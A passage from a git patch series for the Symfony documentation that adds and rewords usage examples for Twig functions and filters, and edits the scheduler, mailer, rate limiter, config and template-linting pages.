+        <?xml version="1.0" encoding="UTF-8" ?>
+        <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
+            <file source-language="en" datatype="plaintext" original="file.ext">
+                <body>
+                    <trans-unit id="message">
+                        <source>message</source>
+                        <target>Hello %name%</target>
+                    </trans-unit>
+                </body>
+            </file>
+        </xliff>
+
+    .. code-block:: php
+
+        // translations/blog.en.php
+        return [
+            'message' => "Hello %name%",
+        ];
+
+Using the filter will be rendered as:
+
+.. code-block:: twig
+
+    {{ t(message = 'message', parameters = {'%name%': 'John'}, domain = 'blog')|trans }}
+    {# output: Hello John #}
+
 importmap
 ~~~~~~~~~
 
@@ -452,6 +575,42 @@ trans
 Translates the text into the current language. More information in
 :ref:`Translation Filters <translation-filters>`.
 
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # translations/messages.en.yaml
+        message: Hello %name%
+
+    .. code-block:: xml
+
+        <!-- translations/messages.en.xlf -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
+            <file source-language="en" datatype="plaintext" original="file.ext">
+                <body>
+                    <trans-unit id="message">
+                        <source>message</source>
+                        <target>Hello %name%</target>
+                    </trans-unit>
+                </body>
+            </file>
+        </xliff>
+
+    .. code-block:: php
+
+        // translations/messages.en.php
+        return [
+            'message' => "Hello %name%",
+        ];
+
+Using the filter will be rendered as:
+
+.. code-block:: twig
+
+    {{ 'message'|trans(arguments = {'%name%': 'John'}, domain = 'messages', locale = 'en') }}
+    {# output: Hello John #}
+
 sanitize_html
 ~~~~~~~~~~~~~
 
@@ -593,6 +752,16 @@ abbr_class
 Generates an ``<abbr>`` element with the short name of a PHP class (the
 FQCN will be shown in a tooltip when a user hovers over the element).
 
+.. code-block:: twig
+
+    {{ 'App\\Entity\\Product'|abbr_class }}
+
+The above example will be rendered as:
+
+.. code-block:: html
+
+    <abbr title="App\Entity\Product">Product</abbr>
+
 abbr_method
 ~~~~~~~~~~~
 
@@ -607,6 +776,16 @@ Generates an ``<abbr>`` element using the ``FQCN::method()`` syntax. If
 ``method`` is ``Closure``, ``Closure`` will be used instead and if ``method``
 doesn't have a class name, it's shown as a function (``method()``).
 
+.. code-block:: twig
+
+    {{ 'App\\Controller\\ProductController::list'|abbr_method }}
+
+The above example will be rendered as:
+
+.. code-block:: html
+
+    <abbr title="App\Controller\ProductController">ProductController</abbr>
+
 format_args
 ~~~~~~~~~~~
 
@@ -694,6 +873,11 @@ file_link
 Generates a link to the provided file and line number using
 a preconfigured scheme.
 
+.. code-block:: twig
+
+    {{ 'path/to/file/file.txt'|file_link(line = 3) }}
+    {# output: file://path/to/file/file.txt#L3 #}
+
 file_relative
 ~~~~~~~~~~~~~
 
@@ -736,6 +920,21 @@ serialize
 Accepts any data that can be serialized by the :doc:`Serializer component </serializer>`
 and returns a serialized string in the specified ``format``.
 
+For example::
+
+    $object = new \stdClass();
+    $object->foo = 'bar';
+    $object->content = [];
+    $object->createdAt = new \DateTime('2024-11-30');
+
+.. code-block:: twig
+
+    {{ object|serialize(format = 'json', context = {
+        'datetime_format': 'D, Y-m-d',
+        'empty_array_as_object': true,
+    }) }}
+    {# output: {"foo":"bar","content":{},"createdAt":"Sat, 2024-11-30"} #}
+
 .. _reference-twig-tags:
 
 Tags

From f187ace7bf11d80568cf20731aa2bf09e9e9aeb2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 3 Apr 2025 10:33:39 +0200
Subject: [PATCH 6869/7107] Minor tweaks

---
 reference/twig_reference.rst | 16 +++++++++-------
 1 file changed, 9 insertions(+), 7 deletions(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 4b145364b0e..825ad3b0af7 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -283,11 +283,13 @@ If ``relative`` is enabled, it'll create a path relative to the current path.
 
 .. code-block:: twig
 
+    {# consider that the app defines an 'app_blog' route with the path '/blog/{page}' #}
+
     {{ path(name = 'app_blog', parameters = {page: 3}, relative = false) }}
-    {# output (depending on the route configuration): /blog/3 or /blog?page=3 #}
+    {# output: /blog/3 #}
 
     {{ path(name = 'app_blog', parameters = {page: 3}, relative = true) }}
-    {# output (depending on the route configuration): blog/3 or ?page=3 #}
+    {# output: blog/3 #}
 
 .. seealso::
 
@@ -313,13 +315,13 @@ Returns the absolute URL (with scheme and host) for the given route. If
 
 .. code-block:: twig
 
+    {# consider that the app defines an 'app_blog' route with the path '/blog/{page}' #}
+
     {{ url(name = 'app_blog', parameters = {page: 3}, schemeRelative = false) }}
-    {# output (depending on the route configuration): http://example.org/blog/3
-    or http://example.org/blog?page=3 #}
+    {# output: http://example.org/blog/3 #}
 
     {{ url(name = 'app_blog', parameters = {page: 3}, schemeRelative = true) }}
-    {# output (depending on the route configuration): //example.org/blog/3
-    or //example.org/blog?page=3 #}
+    {# output: //example.org/blog/3 #}
 
 .. seealso::
 
@@ -784,7 +786,7 @@ The above example will be rendered as:
 
 .. code-block:: html
 
-    <abbr title="App\Controller\ProductController">ProductController</abbr>
+    <abbr title="App\Controller\ProductController">ProductController</abbr>::list()
 
 format_args
 ~~~~~~~~~~~

From 82fea87c3de14d6f56f7d707dd29d890f19902ab Mon Sep 17 00:00:00 2001
From: Edgar Brunet <edgar.brunet@epitech.eu>
Date: Fri, 29 Nov 2024 14:45:51 +0100
Subject: [PATCH 6870/7107] =?UTF-8?q?[Twig]=20[twig=20reference]=20add=20e?=
 =?UTF-8?q?xamples=20to=20functions=20(format=5Ffile,=20file=5F=E2=80=A6?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 reference/twig_reference.rst | 72 ++++++++++++++++++++++++++++++++++++
 1 file changed, 72 insertions(+)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 825ad3b0af7..50da312f29f 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -98,6 +98,21 @@ like :ref:`render() <reference-twig-function-render>` and
 
 .. _reference-twig-function-asset:
 
+.. code-block:: html+twig
+
+    {% set myArray = {'a': 'foo', 'b': 'bar'} %}
+
+    <iframe src="{{ render(controller('App\\Controller\\MyController::baz', {'myArray': myArray})) }}"></iframe>
+
+Output:
+
+.. code-block:: html
+
+    <iframe src="<ul>
+        <li>foo</li>
+        <li>bar</li>
+    </ul>"></iframe>
+
 asset
 ~~~~~
 
@@ -171,6 +186,11 @@ csrf_token
 Renders a CSRF token. Use this function if you want :doc:`CSRF protection </security/csrf>`
 in a regular HTML form not managed by the Symfony Form component.
 
+.. code-block:: twig
+
+	{{ csrf_token(intention = 'my_form') }}
+    {# output: generates a variable token #}
+
 is_granted
 ~~~~~~~~~~
 
@@ -830,6 +850,28 @@ Generates an excerpt of a code file around the given ``line`` number. The
 ``srcContext`` argument defines the total number of lines to display around the
 given line number (use ``-1`` to display the whole file).
 
+Let's assume this is the content of a file :
+
+.. code-block:: text
+
+    a
+    b
+    c
+    d
+    e
+
+.. code-block:: twig
+
+    {{ "/path/to/file/file.txt"|file_excerpt(line = 4, srcContext = 1) }}
+    {# output:
+        3.c
+        4.d
+        5.e #}
+
+    {{ "/path/to/file/file.txt"|file_excerpt(line = 1, srcContext = 0) }}
+    {# output:
+        1.a #}
+
 format_file
 ~~~~~~~~~~~
 
@@ -848,6 +890,36 @@ Generates the file path inside an ``<a>`` element. If the path is inside
 the kernel root directory, the kernel root directory path is replaced by
 ``kernel.project_dir`` (showing the full path in a tooltip on hover).
 
+Example 1
+
+.. code-block:: twig
+
+    {{ "path/to/file/file.txt"|format_file(line = 1, text = "my_text") }}
+
+Output:
+
+.. code-block:: html
+
+    <a href="path/to/file/file.txt#L1"
+        title="Click to open this file" class="file_link">my_text at line 1
+    </a>
+
+Example 2
+
+.. code-block:: twig
+
+    {{ "path/to/file/file.txt"|format_file(line = 3) }}
+
+Output:
+
+.. code-block:: html
+
+    <a href="path/to/file/file.txt#L3"
+        title="Click to open this file" class="file_link">
+        <abbr title="path/to/file/file.txt">file.txt</abbr>
+        / at line 3
+    </a>
+
 format_file_from_text
 ~~~~~~~~~~~~~~~~~~~~~
 

From 3c4f75387112e4e5f755f7925517edcbf86ab668 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 3 Apr 2025 12:33:55 +0200
Subject: [PATCH 6871/7107] Tweaks and rewords

---
 reference/configuration/framework.rst |  2 +
 reference/twig_reference.rst          | 84 ++++++++++++---------------
 2 files changed, 39 insertions(+), 47 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 8838a6a61b2..2274addf1aa 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -271,6 +271,8 @@ The ``trusted_proxies`` option is needed to get precise information about the
 client (e.g. their IP address) when running Symfony behind a load balancer or a
 reverse proxy. See :doc:`/deployment/proxies`.
 
+.. _reference-framework-ide:
+
 ide
 ~~~
 
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 50da312f29f..08ea8f1d581 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -96,22 +96,12 @@ Returns an instance of ``ControllerReference`` to be used with functions
 like :ref:`render() <reference-twig-function-render>` and
 :ref:`render_esi() <reference-twig-function-render-esi>`.
 
-.. _reference-twig-function-asset:
-
 .. code-block:: html+twig
 
-    {% set myArray = {'a': 'foo', 'b': 'bar'} %}
-
-    <iframe src="{{ render(controller('App\\Controller\\MyController::baz', {'myArray': myArray})) }}"></iframe>
-
-Output:
-
-.. code-block:: html
+    {{ render(controller('App\\Controller\\BlogController:latest', {max: 3})) }}
+    {# output: the content returned by the controller method; e.g. a rendered Twig template #}
 
-    <iframe src="<ul>
-        <li>foo</li>
-        <li>bar</li>
-    </ul>"></iframe>
+.. _reference-twig-function-asset:
 
 asset
 ~~~~~
@@ -188,8 +178,9 @@ in a regular HTML form not managed by the Symfony Form component.
 
 .. code-block:: twig
 
-	{{ csrf_token(intention = 'my_form') }}
-    {# output: generates a variable token #}
+    {{ csrf_token('my_form') }}
+    {# output: a random alphanumeric string like:
+       a.YOosAd0fhT7BEuUCFbROzrvgkW8kpEmBDQ_DKRMUi2o.Va8ZQKt5_2qoa7dLW-02_PLYwDBx9nnWOluUHUFCwC5Zo0VuuVfQCqtngg #}
 
 is_granted
 ~~~~~~~~~~
@@ -850,7 +841,7 @@ Generates an excerpt of a code file around the given ``line`` number. The
 ``srcContext`` argument defines the total number of lines to display around the
 given line number (use ``-1`` to display the whole file).
 
-Let's assume this is the content of a file :
+Consider the following as the content of ``file.txt``:
 
 .. code-block:: text
 
@@ -862,15 +853,21 @@ Let's assume this is the content of a file :
 
 .. code-block:: twig
 
-    {{ "/path/to/file/file.txt"|file_excerpt(line = 4, srcContext = 1) }}
+    {{ '/path/to/file.txt'|file_excerpt(line = 4, srcContext = 1) }}
     {# output:
-        3.c
-        4.d
-        5.e #}
-
-    {{ "/path/to/file/file.txt"|file_excerpt(line = 1, srcContext = 0) }}
+        <ol start="3">
+            <li><a class="anchor" id="line3"></a><code>c</code></li>
+            <li class="selected"><a class="anchor" id="line4"></a><code>d</code></li>
+            <li><a class="anchor" id="line5"></a><code>e</code></li>
+        </ol>
+    #}
+
+    {{ '/path/to/file.txt'|file_excerpt(line = 1, srcContext = 0) }}
     {# output:
-        1.a #}
+        <ol start="1">
+            <li class="selected"><a class="anchor" id="line1"></a><code>a</code></li>
+        </ol>
+    #}
 
 format_file
 ~~~~~~~~~~~
@@ -890,35 +887,28 @@ Generates the file path inside an ``<a>`` element. If the path is inside
 the kernel root directory, the kernel root directory path is replaced by
 ``kernel.project_dir`` (showing the full path in a tooltip on hover).
 
-Example 1
-
 .. code-block:: twig
 
-    {{ "path/to/file/file.txt"|format_file(line = 1, text = "my_text") }}
-
-Output:
-
-.. code-block:: html
-
-    <a href="path/to/file/file.txt#L1"
-        title="Click to open this file" class="file_link">my_text at line 1
-    </a>
-
-Example 2
-
-.. code-block:: twig
-
-    {{ "path/to/file/file.txt"|format_file(line = 3) }}
+    {{ '/path/to/file.txt'|format_file(line = 1, text = "my_text") }}
+    {# output:
+        <a href="/path/to/file.txt#L1"
+            title="Click to open this file" class="file_link">my_text at line 1
+        </a>
+    #}
 
-Output:
+    {{ "/path/to/file.txt"|format_file(line = 3) }}
+    {# output:
+        <a href="/path/to/file.txt&amp;line=3"
+            title="Click to open this file" class="file_link">/path/to/file.txt at line 3
+        </a>
+    #}
 
-.. code-block:: html
+.. tip::
 
-    <a href="path/to/file/file.txt#L3"
-        title="Click to open this file" class="file_link">
-        <abbr title="path/to/file/file.txt">file.txt</abbr>
-        / at line 3
-    </a>
+    If you set the :ref:`framework.ide <reference-framework-ide>` option, the
+    generated links will change to open the file in that IDE/editor. For example,
+    when using PhpStorm, the ``<a href="/path/to/file.txt&amp;line=3"`` link will
+    become ``<a href="phpstorm://open?file=/path/to/file.txt&amp;line=3"``.
 
 format_file_from_text
 ~~~~~~~~~~~~~~~~~~~~~

From 334dc800ca4d5a03f3346d408486f9545c3b498f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 3 Apr 2025 12:40:55 +0200
Subject: [PATCH 6872/7107] Fix some syntax issues

---
 reference/twig_reference.rst | 46 ++++++++++++++++--------------------
 1 file changed, 21 insertions(+), 25 deletions(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 08ea8f1d581..8ad72575e82 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -96,7 +96,7 @@ Returns an instance of ``ControllerReference`` to be used with functions
 like :ref:`render() <reference-twig-function-render>` and
 :ref:`render_esi() <reference-twig-function-render-esi>`.
 
-.. code-block:: html+twig
+.. code-block:: twig
 
     {{ render(controller('App\\Controller\\BlogController:latest', {max: 3})) }}
     {# output: the content returned by the controller method; e.g. a rendered Twig template #}
@@ -851,23 +851,21 @@ Consider the following as the content of ``file.txt``:
     d
     e
 
-.. code-block:: twig
+.. code-block:: html+twig
 
     {{ '/path/to/file.txt'|file_excerpt(line = 4, srcContext = 1) }}
-    {# output:
-        <ol start="3">
-            <li><a class="anchor" id="line3"></a><code>c</code></li>
-            <li class="selected"><a class="anchor" id="line4"></a><code>d</code></li>
-            <li><a class="anchor" id="line5"></a><code>e</code></li>
-        </ol>
-    #}
+    {# output: #}
+    <ol start="3">
+        <li><a class="anchor" id="line3"></a><code>c</code></li>
+        <li class="selected"><a class="anchor" id="line4"></a><code>d</code></li>
+        <li><a class="anchor" id="line5"></a><code>e</code></li>
+    </ol>
 
     {{ '/path/to/file.txt'|file_excerpt(line = 1, srcContext = 0) }}
-    {# output:
-        <ol start="1">
-            <li class="selected"><a class="anchor" id="line1"></a><code>a</code></li>
-        </ol>
-    #}
+    {# output: #}
+    <ol start="1">
+        <li class="selected"><a class="anchor" id="line1"></a><code>a</code></li>
+    </ol>
 
 format_file
 ~~~~~~~~~~~
@@ -887,21 +885,19 @@ Generates the file path inside an ``<a>`` element. If the path is inside
 the kernel root directory, the kernel root directory path is replaced by
 ``kernel.project_dir`` (showing the full path in a tooltip on hover).
 
-.. code-block:: twig
+.. code-block:: html+twig
 
     {{ '/path/to/file.txt'|format_file(line = 1, text = "my_text") }}
-    {# output:
-        <a href="/path/to/file.txt#L1"
-            title="Click to open this file" class="file_link">my_text at line 1
-        </a>
-    #}
+    {# output: #}
+    <a href="/path/to/file.txt#L1"
+        title="Click to open this file" class="file_link">my_text at line 1
+    </a>
 
     {{ "/path/to/file.txt"|format_file(line = 3) }}
-    {# output:
-        <a href="/path/to/file.txt&amp;line=3"
-            title="Click to open this file" class="file_link">/path/to/file.txt at line 3
-        </a>
-    #}
+    {# output: #}
+    <a href="/path/to/file.txt&amp;line=3"
+        title="Click to open this file" class="file_link">/path/to/file.txt at line 3
+    </a>
 
 .. tip::
 

From 534c9837e20c0049a2cdcf93f6b93a647a581bae Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 4 Apr 2025 08:31:32 +0200
Subject: [PATCH 6873/7107] Reword

---
 scheduler.rst | 29 +++++++++++------------------
 1 file changed, 11 insertions(+), 18 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index e9c729ab986..63ec32962cf 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -290,32 +290,25 @@ defined by PHP datetime functions::
 
     You can also define periodic tasks using :ref:`the AsPeriodicTask attribute <scheduler-attributes-periodic-task>`.
 
-Be aware that the message isn't passed to the messenger when you start the
-scheduler. The message will only be executed after the first frequency period
-has passed.
-
-It's also possible to pass a from and until time for your schedule. For
-example, if you want to execute a command every day at 13:00::
+You can also define ``from`` and ``until`` times for your schedule::
 
+    // create a message every day at 13:00
     $from = new \DateTimeImmutable('13:00', new \DateTimeZone('Europe/Paris'));
-    RecurringMessage::every('1 day', new Message(), from: $from);
-
-Or if you want to execute a message every day until a specific date::
+    RecurringMessage::every('1 day', new Message(), $from);
 
+    // create a message every day until a specific date::
     $until = '2023-06-12';
-    RecurringMessage::every('1 day', new Message(), until: $until);
-
-And you can even combine the from and until parameters for more granular
-control::
+    RecurringMessage::every('1 day', new Message(), null, $until);
 
+    // combine from and until for more precise control
     $from = new \DateTimeImmutable('2023-01-01 13:47', new \DateTimeZone('Europe/Paris'));
     $until = '2023-06-12';
-    RecurringMessage::every('first Monday of next month', new Message(), from: $from, until: $until);
+    RecurringMessage::every('first Monday of next month', new Message(), $from, $until);
 
-If you don't pass a from parameter to your schedule, the first frequency period
-is counted from the moment the scheduler is started. So if you start your
-scheduler at 8:33 and the message is scheduled to perform every hour, it
-will be executed at 9:33, 10:33, 11:33 and so on.
+When starting the scheduler, the message isn't sent to the messenger immediately.
+If you don't set a ``from`` parameter, the first frequency period starts from the
+moment the scheduler runs. For example, if you start it at 8:33 and the message
+is scheduled hourly, it will run at 9:33, 10:33, 11:33, etc.
 
 Custom Triggers
 ~~~~~~~~~~~~~~~

From 9c2d1d9198e70676f45a34119d7d563718840db9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=D0=93=D1=80=D0=B8=D0=B3=D0=BE=D1=80=D0=B8=D0=B9?=
 <grin180898@mail.ru>
Date: Sun, 25 Aug 2024 21:23:24 +1200
Subject: [PATCH 6874/7107] [Mailer] Update mailer.rst

---
 mailer.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 53a6475a093..27a90c73191 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -834,6 +834,13 @@ The exceptions related to mailer transports (those which implement
 :class:`Symfony\\Component\\Mailer\\Exception\\TransportException`) also provide
 this debug information via the ``getDebug()`` method.
 
+But you have to keep in mind that using :class:`Symfony\\Component\\Mailer\\Transport\\TransportInterface`
+you can't rely on asynchronous sending emails.
+It doesn't use a bus to dispatch :class:`Symfony\\Component\\Mailer\\Messenger\\SendEmailMessage`.
+
+Use :class:`Symfony\\Component\\Mailer\\MailerInterface` if you want to have an opportunity
+to send emails asynchronously.
+
 .. _mailer-twig:
 
 Twig: HTML & CSS

From eb5f908bc97bd2b40d9bbe644d8c61674d1a7714 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Fri, 4 Apr 2025 10:44:13 -0400
Subject: [PATCH 6875/7107] [RateLimiter] default `lock_factory` to `auto`

---
 rate_limiter.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 6c158ee52d0..1cef90828f5 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -461,9 +461,10 @@ simultaneous requests (e.g. three servers of a company hitting your API at the
 same time). Rate limiters use :doc:`locks </lock>` to protect their operations
 against these race conditions.
 
-By default, Symfony uses the global lock configured by ``framework.lock``, but
-you can use a specific :ref:`named lock <lock-named-locks>` via the
-``lock_factory`` option (or none at all):
+By default, if the :doc:`lock </lock>` component is installed, Symfony uses the
+global lock configured by ``framework.lock``, but you can use a specific
+:ref:`named lock <lock-named-locks>` via the ``lock_factory`` option (or none
+at all):
 
 .. configuration-block::
 

From 74a146ee4f74fbc7dae98fa695040dd8da81dcc3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 4 Apr 2025 16:51:36 +0200
Subject: [PATCH 6876/7107] Reword

---
 mailer.rst | 65 +++++++++++++++++++++++++++++++++++-------------------
 1 file changed, 42 insertions(+), 23 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 27a90c73191..52c6ee7dded 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -807,40 +807,59 @@ Catch that exception to recover from the error or to display some message::
 Debugging Emails
 ----------------
 
-The :class:`Symfony\\Component\\Mailer\\SentMessage` object returned by the
-``send()`` method of the :class:`Symfony\\Component\\Mailer\\Transport\\TransportInterface`
-provides access to the original message (``getOriginalMessage()``) and to some
-debug information (``getDebug()``) such as the HTTP calls done by the HTTP
-transports, which is useful to debug errors.
+The ``send()`` method of the mailer service injected when using ``MailerInterface``
+doesn't return anything, so you can't access the sent email information. This is because
+it sends email messages **asynchronously** when the :doc:`Messenger component </messenger>`
+is used in the application.
 
-You can also access :class:`Symfony\\Component\\Mailer\\SentMessage` by listening
-to the :ref:`SentMessageEvent <mailer-sent-message-event>` and retrieve ``getDebug()``
-by listening to the :ref:`FailedMessageEvent <mailer-failed-message-event>`.
+To access information about the sent email, update your code to replace the
+:class:`Symfony\\Component\\Mailer\\MailerInterface` with
+:class:`Symfony\\Component\\Mailer\\Transport\\TransportInterface`:
 
-.. note::
+.. code-block:: diff
+
+    -use Symfony\Component\Mailer\MailerInterface;
+    +use Symfony\Component\Mailer\Transport\TransportInterface;
+     // ...
+
+     class MailerController extends AbstractController
+     {
+         #[Route('/email')]
+    -    public function sendEmail(MailerInterface $mailer): Response
+    +    public function sendEmail(TransportInterface $mailer): Response
+         {
+             $email = (new Email())
+                 // ...
+
+             $sentEmail = $mailer->send($email);
 
-    If your code used :class:`Symfony\\Component\\Mailer\\MailerInterface`, you
-    need to replace it by :class:`Symfony\\Component\\Mailer\\Transport\\TransportInterface`
-    to have the ``SentMessage`` object returned.
+             // ...
+         }
+     }
+
+The ``send()`` method of ``TransportInterface`` returns an object of type
+:class:`Symfony\\Component\\Mailer\\SentMessage`. This is because it always sends
+the emails **synchronously**, even if your application uses the Messenger component.
+
+The ``SentMessage`` object provides access to the original message
+(``getOriginalMessage()``) and to some debug information (``getDebug()``) such
+as the HTTP calls done by the HTTP transports, which is useful to debug errors.
+
+You can also access the :class:`Symfony\\Component\\Mailer\\SentMessage` object
+by listening to the :ref:`SentMessageEvent <mailer-sent-message-event>`, and retrieve
+``getDebug()`` by listening to the :ref:`FailedMessageEvent <mailer-failed-message-event>`.
 
 .. note::
 
     Some mailer providers change the ``Message-Id`` when sending the email. The
-    ``getMessageId()`` method from ``SentMessage`` always returns the definitive
-    ID of the message (being the original random ID generated by Symfony or the
-    new ID generated by the mailer provider).
+    ``getMessageId()`` method from ``SentMessage`` always returns the final ID
+    of the message - whether it's the original random ID generated by Symfony or
+    a new one generated by the provider.
 
-The exceptions related to mailer transports (those which implement
+Exceptions related to mailer transports (those implementing
 :class:`Symfony\\Component\\Mailer\\Exception\\TransportException`) also provide
 this debug information via the ``getDebug()`` method.
 
-But you have to keep in mind that using :class:`Symfony\\Component\\Mailer\\Transport\\TransportInterface`
-you can't rely on asynchronous sending emails.
-It doesn't use a bus to dispatch :class:`Symfony\\Component\\Mailer\\Messenger\\SendEmailMessage`.
-
-Use :class:`Symfony\\Component\\Mailer\\MailerInterface` if you want to have an opportunity
-to send emails asynchronously.
-
 .. _mailer-twig:
 
 Twig: HTML & CSS

From 8ed84b509d7a062e4991024d71770e0411f2f77c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 4 Apr 2025 16:53:55 +0200
Subject: [PATCH 6877/7107] Fix RST syntax issue

---
 scheduler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scheduler.rst b/scheduler.rst
index 63ec32962cf..e7d855db249 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -296,7 +296,7 @@ You can also define ``from`` and ``until`` times for your schedule::
     $from = new \DateTimeImmutable('13:00', new \DateTimeZone('Europe/Paris'));
     RecurringMessage::every('1 day', new Message(), $from);
 
-    // create a message every day until a specific date::
+    // create a message every day until a specific date
     $until = '2023-06-12';
     RecurringMessage::every('1 day', new Message(), null, $until);
 

From 19b99dbe1b32290052fd6d211e75836efa00f20b Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 4 Apr 2025 17:04:03 +0200
Subject: [PATCH 6878/7107] [Config] Add `NodeDefinition::docUrl()`

---
 components/config/definition.rst | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)

diff --git a/components/config/definition.rst b/components/config/definition.rst
index 44189d9dd6f..4848af33ffe 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -546,6 +546,30 @@ and in XML:
     <!-- entries-per-page: This value is only used for the search results page. -->
     <config entries-per-page="25"/>
 
+You can also provide a URL to a full documentation page::
+
+    $rootNode
+        ->docUrl('Full documentation is available at https://example.com/docs/{version:major}.{version:minor}/reference.html')
+        ->children()
+            ->integerNode('entries_per_page')
+                ->defaultValue(25)
+            ->end()
+        ->end()
+    ;
+
+A few placeholders are available to customize the URL:
+
+* ``{version:major}``: The major version of the package currently installed
+* ``{version:minor}``: The minor version of the package currently installed
+* ``{package}``: The name of the package
+
+The placeholders will be replaced when printing the configuration tree with the
+``config:dump-reference`` command.
+
+.. versionadded:: 7.3
+
+    The ``docUrl()`` method was introduced in Symfony 7.3.
+
 Optional Sections
 -----------------
 

From 50b6ffdac765fad51e6c087a00667711840aea10 Mon Sep 17 00:00:00 2001
From: RisingSunLight <risingsunlightdev@gmail.com>
Date: Mon, 7 Apr 2025 00:49:36 +0200
Subject: [PATCH 6879/7107] fix command explanation

---
 templates.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index 77e10bc5596..98742058988 100644
--- a/templates.rst
+++ b/templates.rst
@@ -849,7 +849,8 @@ errors. It's useful to run it before deploying your application to production
     $ php bin/console lint:twig templates/email/
     $ php bin/console lint:twig templates/article/recent_list.html.twig
 
-    # you can also show the deprecated features used in your templates
+    # you can also show the first deprecated feature used in your templates
+    # as it shows only the first one found, you may need to run it until no more deprecations are found
     $ php bin/console lint:twig --show-deprecations templates/email/
 
 When running the linter inside `GitHub Actions`_, the output is automatically

From 20ce1892efe75de46c9447a7a40baab5f6a5a2a0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Apr 2025 08:09:16 +0200
Subject: [PATCH 6880/7107] Added a versionadded directive

---
 rate_limiter.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 1cef90828f5..81bd7f5689e 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -535,6 +535,12 @@ at all):
                 ;
         };
 
+.. versionadded:: 7.3
+
+    Before Symfony 7.3, configuring a rate limiter and using the default configured
+    lock factory (``lock.factory``) failed if the Symfony Lock component was not
+    installed in the application.
+
 .. _`DoS attacks`: https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html
 .. _`Apache mod_ratelimit`: https://httpd.apache.org/docs/current/mod/mod_ratelimit.html
 .. _`NGINX rate limiting`: https://www.nginx.com/blog/rate-limiting-nginx/

From 03321a8e0246365b1a17ac998f1de895f28b94ad Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Apr 2025 08:36:00 +0200
Subject: [PATCH 6881/7107] Minor reword

---
 templates.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/templates.rst b/templates.rst
index 98742058988..5e34b930d0e 100644
--- a/templates.rst
+++ b/templates.rst
@@ -849,8 +849,8 @@ errors. It's useful to run it before deploying your application to production
     $ php bin/console lint:twig templates/email/
     $ php bin/console lint:twig templates/article/recent_list.html.twig
 
-    # you can also show the first deprecated feature used in your templates
-    # as it shows only the first one found, you may need to run it until no more deprecations are found
+    # you can also show the deprecated features used in your templates
+    # (only the first deprecation is shown, so run multiple times to catch all)
     $ php bin/console lint:twig --show-deprecations templates/email/
 
 When running the linter inside `GitHub Actions`_, the output is automatically

From b5efbcd9a777ac3e913a93fdfb96e1c0ef934fc7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Apr 2025 08:41:41 +0200
Subject: [PATCH 6882/7107] [Templates] Add a versionadded diretive for a
 command change

---
 templates.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index a93bbe742c6..c6312abb33c 100644
--- a/templates.rst
+++ b/templates.rst
@@ -870,7 +870,6 @@ errors. It's useful to run it before deploying your application to production
     $ php bin/console lint:twig templates/article/recent_list.html.twig
 
     # you can also show the deprecated features used in your templates
-    # (only the first deprecation is shown, so run multiple times to catch all)
     $ php bin/console lint:twig --show-deprecations templates/email/
 
     # you can also excludes directories
@@ -880,6 +879,11 @@ errors. It's useful to run it before deploying your application to production
 
     The option to exclude directories was introduced in Symfony 7.1.
 
+.. versionadded:: 7.3
+
